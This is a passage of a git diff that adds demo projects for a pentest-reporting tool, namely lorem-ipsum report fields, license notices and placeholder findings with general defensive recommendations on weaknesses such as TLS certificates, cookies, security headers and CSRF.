tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. +Reiciendis culpa numquam incidunt eius non natus quos nemo, aspernatur magni praesentium laboriosam illum minima perferendis vero perspiciatis eum nisi. Corporis perspiciatis repudiandae at dolore quo facere, iste earum minima? +Veritatis architecto nihil officiis optio fugit ducimus eveniet commodi tempora perspiciatis, dicta esse voluptatibus expedita officiis, facere perspiciatis id quos animi consequuntur sit nobis similique a nostrum optio, ipsa architecto corrupti est vitae. Quo qui deserunt ea odio exercitationem nobis suscipit illum, ipsam voluptatibus labore impedit vitae aliquid tempora iusto culpa repellat vel sed? Neque iste expedita vero, enim quae corrupti error rerum voluptas cumque autem quasi quia? +""" +retest_status = "open" +affected_components = [] +short_recommendation = "maxime illo" + +[[report_preview_data.findings]] +title = "Demo Finding Low" +cvss = "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" +summary = "TODO summary" +description = "TODO description" +recommendation = "TODO recommendation" +id = "cd3c3719-8536-43d4-878a-cdb9dc842b70" +references = [] +retest_notes = "" +retest_status = "open" +affected_components = [ + "TODO affected component", +] +short_recommendation = "" + +[[report_preview_data.findings]] +title = "Demo Finding Info" +cvss = "n/a" +summary = "TODO summary" +description = "TODO description" +recommendation = "TODO recommendation" +id = "e899b5cf-83d2-48bf-8838-9899246b67fc" +references = [ + "https://example.com", +] +retest_notes = "" +retest_status = "open" +affected_components = [ + "TODO affected component", +] +short_recommendation = "" + +[[assets]] +id = "4c177804-df1c-412f-9e24-d990273029b5" +name = "LICENSE" + +[[assets]] +id = "d818fe93-5621-446e-9c20-c8cb1999e3ff" +name = "header-logo.png" + +[[assets]] +id = "a8ad4ea9-e13a-4ffd-88c3-e70164f23ef9" +name = "logo-transparent.png" + +[[assets]] +id = "3c7d06af-2d0d-481f-83d7-dd7113e6a6d9" +name = "background.svg" diff --git a/demo_data/demo-projects/NOTICE b/demo_data/demo-projects/NOTICE new file mode 100644 index 0000000..2bd4f76 --- /dev/null +++ b/demo_data/demo-projects/NOTICE @@ -0,0 +1,106 @@ +This file contains licenses of components used in the HTML/Vue template source code of designs. + +vue +MIT +The MIT License (MIT) + +Copyright (c) 2018-present, Yuxi (Evan) You + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. + + +chart.js +MIT +The MIT License (MIT) + +Copyright (c) 2014-2022 Chart.js Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + + +chartjs-plugin-datalabels +MIT +The MIT License (MIT) + +Copyright (c) 2017-2021 chartjs-plugin-datalabels contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + + +lodash +MIT +The MIT License + +Copyright JS Foundation and other contributors + +Based on Underscore.js, copyright Jeremy Ashkenas, +DocumentCloud and Investigative Reporters & Editors + +This software consists of voluntary contributions made by many +individuals. For exact contribution history, see the revision history +available at https://github.com/lodash/lodash + +The following license applies to all parts of this software except as +documented below: + +==== + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +==== + +Copyright and related rights for sample code are waived via CC0. Sample +code is defined as all source code displayed within the prose of the +documentation. + +CC0: http://creativecommons.org/publicdomain/zero/1.0/ + +==== + +Files located in the node_modules and vendor directories are externally +maintained libraries used by this software which have their own +licenses; we recommend you read them, as their terms may differ from the +terms above. + + diff --git a/demo_data/demo-projects/calzone-report-demo-assets/LICENSE b/demo_data/demo-projects/calzone-report-demo-assets/LICENSE new file mode 100644 index 0000000..ae80ae2 --- /dev/null +++ b/demo_data/demo-projects/calzone-report-demo-assets/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 SysReptor Developers + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/demo_data/demo-projects/calzone-report-demo-assets/logo-transparent.png b/demo_data/demo-projects/calzone-report-demo-assets/logo-transparent.png new file mode 100644 index 0000000..9226d08 Binary files /dev/null and b/demo_data/demo-projects/calzone-report-demo-assets/logo-transparent.png differ diff --git a/demo_data/demo-projects/calzone-report-demo-assets/test.png b/demo_data/demo-projects/calzone-report-demo-assets/test.png new file mode 100644 index 0000000..822c26d Binary files /dev/null and b/demo_data/demo-projects/calzone-report-demo-assets/test.png differ diff --git a/demo_data/demo-projects/calzone-report-demo.toml b/demo_data/demo-projects/calzone-report-demo.toml new file mode 100644 index 0000000..3d3f97d --- /dev/null +++ b/demo_data/demo-projects/calzone-report-demo.toml @@ -0,0 +1,1501 @@ +format = "projects/v1" +id = "d720a8e3-7feb-446a-8864-48e091b5616f" +name = "Calzone Report Demo" +language = "en-US" +tags = [] +members = [] +images = [] + +[[sections]] +id = "customer" +status = "in-progress" + +[[sections]] +id = "executive_summary" +status = "in-progress" + +[[sections]] +id = "other" +status = "in-progress" + +[[sections]] +id = "appendix" +status = "in-progress" + +[[sections]] +id = "scope" +status = "in-progress" + +[report_data] +title = "Demo-Design-1 Report" +draft = true +scope = """ +Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. + +* Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. +* Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. +* Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis. + +At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, At accusam aliquyam diam diam dolore dolores duo eirmod eos erat, et nonumy sed tempor et et invidunt justo labore Stet clita ea et gubergren, kasd magna no rebum. sanctus sea sed takimata ut vero voluptua. est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur + +| System | Description | +|:---|:---| +| 10.0.0.1 | System1 | +| 10.0.0.2 | System2 | +| 10.0.0.3 | System3 | +| 10.0.0.4 | System3 | +""" +duration = "5 person days" +end_date = "2022-04-22" +start_date = "2022-04-18" +report_date = "2022-04-25" +customer_name = "GotBreached Ltd." +receiver_name = "Maxima Doe" +lead_pentester = "b9a1560e-79ea-4d73-b1e0-818601d0386f" +provided_users = """ +Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. + +* **Admin:** admin@example.com +* **User:** user1@example.com +* **User:** user2@example.com +""" +report_version = "1.0" +executive_summary = """ +Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. + +Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. + +Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse +""" + +[[report_data.review]] +name = "Collegius Doe" +email = "c.doe@securitymaximale.com" +mobile = "+43 660 123 456 78" + +[[report_data.list_of_changes]] +description = "Draft" +date = "2022-04-22" +version = "0.1" + +[[report_data.list_of_changes]] +description = "Final Report" +date = "2022-04-25" +version = "1.0" + +[report_data.customer_address] +city = "1337 Miami Breach" +street = "Banksy Street 1" + +[[report_data.appendix_sections]] +title = "Tool Output" +content = """ +``` +Here could be your fancy tool output. +``` +""" + +[[findings]] +id = "c86c1e3c-1e91-4be9-8e8a-78eac10c4c10" +status = "in-progress" + +[findings.data] +title = "Session management weaknesses" +cvss = "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N" +summary = "We were able to identify weaknesses in the web application's session management. The users' sessions were usable without time restrictions and therefore did not require re-authentication at any time. People with access to a computer system could exploit this situation if another user had not explicitly logged out of the application beforehand." +description = """ +We could determine that user sessions were usable without time restrictions. This could allow attackers to take over user sessions that were not explicitly logged out beforehand. + +This could be possible, for example, by allowing a third person to operate a user's computer in which a session is still active. In addition, it could be possible for attackers to reuse session tokens when they become known (e.g. via log files; locally or on proxy servers, etc.). +""" +recommendation = """ +* User sessions in web applications should time out automatically after a certain period of inactivity. +* Depending on the criticality of the user authorization and the application, the timeout could be approximately between one hour and one day. +""" +references = [] +affected_components = [ + "example.com", +] + +[[findings]] +id = "6341740e-814f-45ed-ab8d-a6c562988f17" +status = "in-progress" + +[findings.data] +title = "Untrusted TLS certificates" +cvss = "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N" +summary = "Communication with the application at the transport layer level was not sufficiently protected due to untrusted TLS certificates. TLS is used by many protocols to ensure the confidentiality and integrity of communication between two endpoints. If web browsers do not trust an application's TLS certificate, the application may be vulnerable to man-in-the-middle attacks and thus susceptible to eavesdropping or tampering with traffic. Insufficient protection at the transport layer may allow communications between two parties to be compromised by an untrusted third party. An attacker could thus obtain sensitive data (e.g., credentials) if necessary. In the event of a successful attack, an attacker could gain complete control over all functions and data of the application by compromising a privileged user account." +description = """ +Transport Layer Security (TLS) is the successor to the now obsolete as well as insecure Secure Sockets Layer (SSL) protocol. TLS is a cryptographic protocol developed for secure, encrypted communication between two or more parties. The protocol is used in a wide variety of areas, including e-mail, instant messaging, and voice-over-IP. The best known use of TLS is on the Web, where it ensures secure communication over HTTPS. Primarily, TLS aims to ensure confidentiality, integrity, but also authenticity through the use of certificates, between two or more parties. + +With TLS, the establishment of a secure connection takes place in several steps. Client and server agree on the use of TLS in the first step. This is done either by selecting a specific port (e.g. 443 for HTTP) or by making a protocol-specific request to the server (e.g. STARTTLS for SMTP). A handshake procedure then begins, in which the client and server negotiate various parameters for the security of the communication link. The handshake begins with the client and server agreeing on a respective supported cipher suite, consisting of the symmetric cipher and hash function. The server then issues a digital certificate. The certificate contains, among other things, the server name, the issuing certificate authority (CA), and the server's data asymmetric key. Once the client has verified the validity of the certificate, it generates a symmetric session key for the secure connection. This is done either by the client deriving a key from a random number. The client encrypts the random number with the server's data key and sends the result to the server. The server can use the private key to read the result and also derive the session key. However, the client and server could also use the Diffie-Hellman algorithm to securely agree on a random session key. Diffie-Hellman also offers the advantage of perfect forward secrecy (PFS). PFS prevents subsequent decryption once the server's private key is known. Session keys are not exchanged and thus cannot be reconstructed. + +The security of TLS-secured communication is based primarily on the trustworthiness of the digital certificate. If the trustworthiness is not given, for example because the certificate has expired, it contains an incorrect host name or it is a self-signed certificate, no secure key exchange between two endpoints can be guaranteed from the outset. In some circumstances, the communication between two parties could be compromised by an untrusted third party in the course of a man-in-the-middle attack. For example, an attacker could gain access to sensitive data or inject malicious data into the encrypted data stream to compromise either the client or the server. + +We reviewed the TLS certificates of the applications in scope and found untrusted certificates for the following applications: + +| host | expired | expiring soon | incorrect host name | incomplete certificate chain | self-signed certificate | +|:---:|:---:|:---:|:---:|:---:|:---:| +| example.com:443 | X | - | - | - | | +""" +recommendation = """ +* Acquire new certificates for services that do not have trusted TLS certificates. +* Generate sufficiently strong asymmetric keys with at least 2048 bits for certificates and protect the private key. +* Use only modern cryptographic hash algorithms such as SHA-256.' +* Make sure that the certificate contains the fully qualified name of the server. The following should also be considered when creating the certificate: + * Consider whether the "www" subdomain should also be included. + * Do not include unqualified host names in the certificate. + * Do not include IP addresses. + * Do not include internal domain names. +* Create and use wildcard certificates only when there is a real need. Do not use wildcard certificates for convenience. +* Choose an appropriate certificate authority that is trusted by all major browsers. For internal applications, an internal CA can be used. However, ensure that all users have imported the internal CA certificate and thus trust certificates issued by that CA. +* Check the TLS configuration, including certificates, at regular intervals and adjust as necessary. There are a number of online tools (such as SSLabs, sslyze, etc) that you can use to quickly perform the check. +* For more information and help on TLS certificates, see the linked Transport Layer Protection Cheat Sheet from OWASP. +""" +references = [ + "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", +] +affected_components = [ + "example.com", +] + +[[findings]] +id = "64c5d1fc-a09c-4c1e-89cf-baf43164a5ef" +status = "in-progress" + +[findings.data] +title = "User Enumeration" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" +summary = "The web application was vulnerable to a user enumeration vulnerability. User enumeration is a common vulnerability in web applications that occurs when an attacker can use brute force techniques to determine valid user accounts in a system. Although user enumeration is a low risk in itself, it still provides an attacker with valuable information for follow-up attacks such as in brute force and credential stuffing attacks or in social engineering campaigns." +description = """ +We were able to identify a user enumeration vulnerability in the web application, allowing us to determine valid user accounts using brute force techniques. + +Often, as a result of a faulty configuration or design decision, web applications indicate when a user already exists in the system. Two of the most common areas where this occurs are the login page or the "forgot password" feature of a web application. One example is when a user enters incorrect credentials, they receive information that the password they entered was incorrect. The information obtained can now be used by an attacker to determine whether or not a particular username already exists. By trial and error, an attacker can use it to determine a list of valid usernames. + +Once an attacker has such a list, they can address these user accounts in new attacks to obtain valid credentials. In its simplest form, an attacker could perform a brute force attack. In this, an attacker tries to guess a user account's credentials by automatically trying through passwords. Often very large word lists containing frequently used passwords are used for this purpose. An attacker could also use determined usernames to search past data leaks for passwords. Credentials from data leaks, consisting of pairs of usernames and passwords, can be reused by an attacker in an automated attack. This particular form of brute force attack, is also known as credential stuffing. Alternatively, an attacker can use usernames in the course of social engineering campaigns to contact users directly. +""" +recommendation = """ +* Ensure that the web application always returns generic error messages when invalid usernames, passwords, or other credentials are entered. Identifies all relevant attack surfaces of the application for this purpose. +* If the application defines usernames itself, user enumeration can be effectively prevented. The prerequisite for this is that user names are randomly generated so that they cannot be guessed. +* The application can also use email addresses as usernames. If the username is not yet registered, an email message will contain a unique URL that can be used to complete the registration process. If the username exists, the user receives an email message with a URL to reset the password. In either case, an attacker cannot infer valid user accounts. +* As an additional security measure, you could delete default system accounts as well as test accounts or rename them before releasing the system to production. +""" +references = [] +affected_components = [ + "example.com", +] + +[[findings]] +id = "88057215-0e71-4e85-9058-4876a234296f" +status = "in-progress" + +[findings.data] +title = "Incorrectly configured HTTP security headers" +cvss = "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N" +summary = "The web application did not have important HTTP security headers set or they were configured insecurely. HTTP security headers are a good way to increase the security of a web application. They can help make vulnerabilities such as cross-site scripting, clickjacking, information disclosure, and others more difficult or even prevent them altogether. Without proper HTTP security headers, the potential attack surface of a web application is larger and makes it easier for an attacker to exploit client-side vulnerabilities." +description = """ +We checked the HTTP security headers of the examined web application. The following table provides an overview of which headers were set correctly and which were not: + +| Host | Content-Security Policy (CSP) | Referrer-Policy | HTTP-Strict-Transport-Security HSTS) | X-Content-Type-Options | X-Frame-Options | Permissions-Policy | X-XSS-Protection | +|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:| +| example.com | - | - | x | - | - | - | + +Modern browsers support several HTTP security headers that can increase the security of web applications against client-side vulnerabilities such as clickjacking, cross-site scripting, and other common attacks. HTTP Security headers are response headers that specify whether and which security measures should be enabled or disabled in the web browser. These HTTP headers are exchanged between a browser and a server and specify the security-related details of HTTP communication. Below is a brief description and overview of the most important current HTTP security headers: + +* **Content Security Policy**. +The Content Security Policy (CSP) HTTP header allows fine-grained control over what resources a browser is allowed to obtain resources from. The CSP header is a very effective measure to prevent the exploitation of cross-site scripting (XSS) vulnerabilities. + +* **Referrer Policy**. +The `Referrer-Policy` header determines how and when browsers transmit the HTTP Referer (sic) header. In the Referer header, a browser informs a target page about the origin of an HTTP request, for example, when a user navigates to a specific page via a link or loads an external resource. + +* **HTTP Strict Transport Security (HSTS)**. +With the HSTS header, a web page instructs the browser to connect only over HTTPS. All unencrypted HTTP requests are transparently redirected in the process. TLS and certificate-related errors are also handled more strictly by preventing users from bypassing the error page. + +* **X-Content-Type-Options**. +The `X-Content-Type-Options` header specifies that browsers will only load scripts and stylesheets if the server specifies the correct MIME type. Without this header, there is a risk of MIME sniffing. This means that browsers will misrecognize files as scripts and stylesheets, which could lead to XSS attacks. + +* **X-Frame-Options** +`X-Frame-Options` are used to determine if and in which form the web page can be embedded in an iframe. Clickjacking is a viable attack that can exploit such embedding in an `iframe`. In such an attack, an attacker overlays the rendering of a legitimate page to then cause users to perform seemingly innocuous interactions (e.g., mouse clicks and/or keystrokes). + +* **Permissions policy** +Permissions policy allows web developers to selectively enable, disable, and modify the behavior of certain features and APIs in the browser. `Permissions-Policy` is similar to Content Security Policy, but controls specific functions of the browser rather than security behavior. + +* **X-XSS-Protection** +`X-XSS-Protection` is a feature that prevents pages from loading when a browser detects Reflected Cross-Site Scripting (XSS) attacks. This header is obsolete when using modern browsers, provided that a secure content security policy has been defined. +""" +recommendation = """ +* Do not allow the web page to be included in a frame. Set `X-Frame-Options: DENY` for this. Alternatively you can restrict this setting to the same-origin with `X-Frame-Options: SAMEORIGIN`. +* Set the header `X-XSS-Protection` explicitly with `X-XSS-Protection: 1; mode=block`. +* Prevent the browser from guessing the MIME type based on the content of the resource. Sets the `X-Content-Type-Options` header with the `nosniff` option. +* Restrict the `referrer policy` to prevent potentially sensitive information from being exposed to third party sites. You should define the header as follows: `Referrer-Policy: strict-origin-when-cross-origin`. +* Configure the `Strict-Transport-Security` header so that your web application can only be accessed over a secured HTTPS connection. You should set the header like this: `Strict-Transport-Security: max-age=63072000; includeSubDomains; preload`. +* If possible, define a Content Security Policy (CSP) for your web application CSP is an additional security measure that can make it much more difficult to exploit client-side vulnerabilities. Details on how to configure it securely can be found in the resources. +* Restrict the use of sensitive browser features such as the camera, microphone or speaker using 'Permissions Policy' headers. +""" +references = [ + "https://infosec.mozilla.org/guidelines/web_security#content-security-policy", +] +affected_components = [ + "example.com", +] + +[[findings]] +id = "220c0fda-adda-43f8-9530-a7c8cd1b8aec" +status = "in-progress" + +[findings.data] +title = "Disclosure of sensitive data in URL parameters" +cvss = "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N" +summary = "The web application sent sensitive data as URL parameters in HTTP requests. Data sent as URL parameters is stored in the browser cache and can potentially appear in various other places such as web server logs, referer headers or shared systems. Third parties could thus gain access to this sensitive data." +description = """ +The application sent sensitive data in the URL parameter ''motiondata". + +This could expose the data in the following places: +* Referer Header +* Web Logs +* Shared Systems +* Browser History +* Browser Cache +* Shoulder Surfing +""" +recommendation = """ +* The application should send all sensitive data in the body of an HTTP message, e.g. in the body of a POST request. +* Furthermore, the transmission should be secured via encrypted communication via HTTPS. +""" +references = [] +affected_components = [ + "example.com", +] + +[[findings]] +id = "55ad1910-8833-42b4-8d6b-36fd1773291c" +status = "in-progress" + +[findings.data] +title = "Insecure HTTP cookies" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N" +summary = "The issued HTTP cookies of the web application did not have the _HttpOnly_ and/or the _Secure_ cookie attribute set. If the _HttpOnly_ attribute is not set, the affected cookie can be read or modified client-side using JavaScript. If the _Secure_ attribute is not set, browsers also send the cookie over unencrypted HTTP connections. Insecurely configured cookies such as session cookies expand the potential attack surface of a web application. They make it easier for an attacker to exploit client-side vulnerabilities such as cross-site scripting (XSS) or compromise sessions by trivially intercepting cookies." +description = """ +HTTP is a stateless protocol, which means that it cannot distinguish requests from different users without an additional mechanism. To address this problem, it requires a session mechanism. The most commonly used mechanism for managing HTTP sessions in browsers is cookie storage. An HTTP cookie is a small record that a server sends to a user's web browser. The browser can store the cookie and send it back to the same server for subsequent requests. This can be used to implement sessions for the stateless HTTP protocol. An HTTP cookie can be used to distinguish requests from different users and to keep users logged in. + +Cookies thus represent a frequent target for attackers. A web application should therefore harden the configuration of all sensitive cookies. This can be achieved by setting the _Secure_ and _HttpOnly_ cookie attributes. A cookie with the _Secure_ attribute will only be sent to the server over HTTPS connections and never over an unsecured HTTP connection. A cookie with the _HttpOnly_ attribute set is inaccessible to JavaScript and thus helps mitigate cross-site scripting (XSS) attacks. +If an attacker is able to tap sensitive cookies such as session cookies, the attacker could take over user accounts and perform actions in the context of affected users. An attacker may also be able to gain complete control over all web application functions and data if they take over a user account with privileged access. + +We reviewed the set attributes of sensitive HTTP cookies of the web application. The following table provides an overview of the set attributes: + +| Cookie | Secure | HttpOnly | +|:---:|:---:|:---:| +| PHPSESSID | - | - | +""" +recommendation = """ +* Set the _Secure_ attribute for sensitive cookies. This attribute instructs a browser to send the cookie only over an encrypted HTTPS connection to prevent session ID disclosure through man-in-the-middle attacks. +* If possible, also set the _HttpOnly_ attribute for sensitive cookies. This attribute prevents the cookie from being accessed client-side via JavaScript. This can make session hijacking by XSS attacks more difficult. +""" +references = [] +affected_components = [ + "example.com", +] + +[[findings]] +id = "a93c6e6c-1917-4f3f-b719-3e14db172db1" +status = "in-progress" + +[findings.data] +title = "Cross-Site Request Forgery (CSRF)" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N" +summary = "The web application was vulnerable to Cross-Site Request Forgery (CSRF). CSRF is an attack that causes users to unknowingly send an HTTP request to a web application to which they are currently authenticated. Attackers can thereby partially bypass a web browser's same-origin policy and perform state-changing actions in the context of an affected user. Depending on the nature of the action, the attacker can gain complete control over the user's account. If the user account is administrative, CSRF may also be able to compromise the entire web application." +description = """ +We identified a CSRF vulnerability in the web application, allowing them to perform actions in the context of another user. + +Cross-site request forgery (CSRF) is a web security vulnerability in which an attacker can trick an authenticated user into unknowingly sending a state-changing HTTP request to the vulnerable web application. In CSRF, an attacker assumes the victim's identity and access privileges to perform unwanted actions (e.g., change email address) on their behalf. Without appropriate CSRF protection, the web application has no way to distinguish between a request prepared by the attacker and a legitimate request from the victim. + +Several prerequisites must be in place for a CSRF attack to take place. First, there must be an action in the web application that is relevant to an attacker and makes sense to exploit. For example, this could be a privileged action, such as changing a user's access permissions or changing a password. Another requirement is that there is no other mechanism besides cookie-based authentication to distinguish HTTP requests from different users. If the user is authenticated and thus has a valid session cookie, the web application thus has no way to distinguish between a malicious, subverted request from the attacker and a legitimate request from the victim. Last, it must be ensured that actions do not require specific parameters whose values an attacker cannot determine or predict. For example, if a user is asked to change his password, the function is not vulnerable if an attacker needs to know the value of the existing password. + +A common way to exploit CSRF vulnerabilities is through phishing emails. An attacker does this by preparing malicious links with the intention of foisting a state-changing request on the victim. The attacker then distributes the malicious links to victims via email. When a user opens the link in a web browser and is authenticated to it, the request is sent to the vulnerable web application. If successful, the attack causes an action with the victim's identity and privilege level. +""" +recommendation = """ +* Check if the framework has built-in CSRF protection and use it. If not, ensure that all state-changing requests contain a randomly generated CSRF token with high entropy. Also ensure that CSRF tokens are properly validated on the backend. +* Consider various additional security measures: + * For example, set the SameSite attribute for session cookies. Web browsers decide whether to include cookies in cross-site requests based on this attribute. + * Use Custom Request Headers. By default, the browser's same-origin policy restricts JavaScript from submitting cross-site requests with custom request headers. + * For highly sensitive actions, user interactions such as CAPTCHAs, one-time tokens, re-authentication, etc. can also be considered as additional CSRF protection. +* 